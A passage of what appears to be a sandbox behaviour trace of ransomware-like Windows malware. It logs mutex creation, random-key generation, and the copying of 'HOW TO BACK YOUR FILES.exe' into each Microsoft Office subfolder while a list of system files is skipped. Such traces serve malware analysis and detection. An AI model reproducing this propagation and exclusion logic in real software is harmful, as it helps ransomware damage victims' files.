flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20280, lpName=0x0) returned 0x154 [0152.280] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20280) returned 0x170000 [0152.287] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0152.288] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.288] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0152.290] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0152.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x502ba8 | out: hHeap=0x4f0000) returned 1 [0152.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c2a8 | out: hHeap=0x4f0000) returned 1 [0152.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned 57 [0152.290] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\60F0553EE519813311E65156E99A1335") returned 0xec [0152.291] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.291] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0152.291] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.291] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.292] GetLastError () returned 0x0 [0152.292] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.292] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.292] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.293] CloseHandle (hObject=0xf4) returned 1 [0152.293] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.293] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd10038c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd10038c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.294] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.294] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.294] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.294] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd10038c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd10038c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.294] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.294] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.294] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.294] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.294] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0152.294] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0152.294] lstrlenW (lpString="1033") returned 4 [0152.294] lstrcpyW (in: lpString1=0x241e8bc, lpString2="1033" | out: lpString1="1033") returned="1033" [0152.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2a8 [0152.294] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54ef68 [0152.294] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0152.295] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0152.295] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.297] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10038c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd10038c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.297] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.297] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd10038c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd10038c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0152.297] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0152.297] ReleaseMutex (hMutex=0xec) returned 1 [0152.297] CloseHandle (hObject=0xec) returned 1 [0152.298] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0152.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539f50 | out: hHeap=0x4f0000) returned 1 [0152.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509020 | out: hHeap=0x4f0000) returned 1 [0152.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned 48 [0152.298] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\DF0C1725F5D3CB189FD309B0C13F349D") returned 0xec [0152.298] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.298] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0152.298] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.298] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.299] GetLastError () returned 0x0 [0152.299] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.299] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.299] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.300] CloseHandle (hObject=0xf4) returned 1 [0152.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.300] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd1e97f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd1e97f80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.301] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.301] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.301] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.301] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd1e97f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd1e97f80, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.301] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.301] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.301] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.301] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.301] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1 [0152.301] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1 [0152.301] lstrlenW (lpString="1033") returned 4 [0152.301] lstrcpyW (in: lpString1=0x241e8aa, lpString2="1033" | out: lpString1="1033") returned="1033" [0152.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509020 [0152.301] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d138 [0152.301] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0152.302] lstrcatW (in: lpString1="1033\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="1033\\HOW TO BACK YOUR FILES.exe") returned="1033\\HOW TO BACK YOUR FILES.exe" [0152.302] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.306] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e97f80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd1e97f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.307] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.307] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e97f80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd1e97f80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0152.307] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0152.307] ReleaseMutex (hMutex=0xec) returned 1 [0152.307] CloseHandle (hObject=0xec) returned 1 [0152.307] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0152.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539fc0 | out: hHeap=0x4f0000) returned 1 [0152.307] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x509008 | out: hHeap=0x4f0000) returned 1 [0152.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned 49 [0152.307] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4438163AE73F9C8F3CD8B001F82EE0ED") returned 0xec [0152.307] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0152.307] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0152.307] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0152.307] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\how to back your files.exe"), bFailIfExists=1) returned 0 [0152.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0152.308] GetLastError () returned 0x0 [0152.308] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0152.308] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x554940 [0152.309] ReadFile (in: hFile=0xf4, lpBuffer=0x554940, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x554940*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0152.309] CloseHandle (hObject=0xf4) returned 1 [0152.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x554940 | out: hHeap=0x4f0000) returned 1 [0152.310] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0152.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd29e6800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd29e6800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0152.310] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.310] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.310] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0152.310] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd29e6800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xd29e6800, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.310] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.310] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.310] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0152.310] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0152.310] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2=".") returned 1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="..") returned 1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="windows") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="bootmgr") returned 1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="temp") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="pagefile.sys") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="boot") returned 1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="ids.txt") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="ntuser.dat") returned -1 [0152.310] lstrcmpiW (lpString1="Certificates", lpString2="perflogs") returned -1 [0152.311] lstrcmpiW (lpString1="Certificates", lpString2="MSBuild") returned -1 [0152.311] lstrlenW (lpString="Certificates") returned 12 [0152.311] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Certificates" | out: lpString1="Certificates") returned="Certificates" [0152.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x509008 [0152.311] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x7e) returned 0x54eff0 [0152.311] lstrcatW (in: lpString1="Certificates", lpString2="\\" | out: lpString1="Certificates\\") returned="Certificates\\" [0152.311] lstrcatW (in: lpString1="Certificates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Certificates\\HOW TO BACK YOUR FILES.exe") returned="Certificates\\HOW TO BACK YOUR FILES.exe" [0152.311] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\how to back your files.exe"), bFailIfExists=1) returned 1 [0152.322] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29e6800, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd29e6800, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.322] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.322] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2=".") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="..") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="windows") returned -1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="bootmgr") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="temp") returned -1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="pagefile.sys") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="boot") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="ids.txt") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="ntuser.dat") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="perflogs") returned 1 [0152.322] lstrcmpiW (lpString1="Sounds", lpString2="MSBuild") returned 1 [0152.322] lstrlenW (lpString="Sounds") returned 6 [0152.322] lstrcpyW (in: lpString1=0x241e8ac, lpString2="Sounds" | out: lpString1="Sounds") returned="Sounds" [0152.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x552320 [0152.322] RtlAllocateHeap (HeapHandle=0x4f0000, 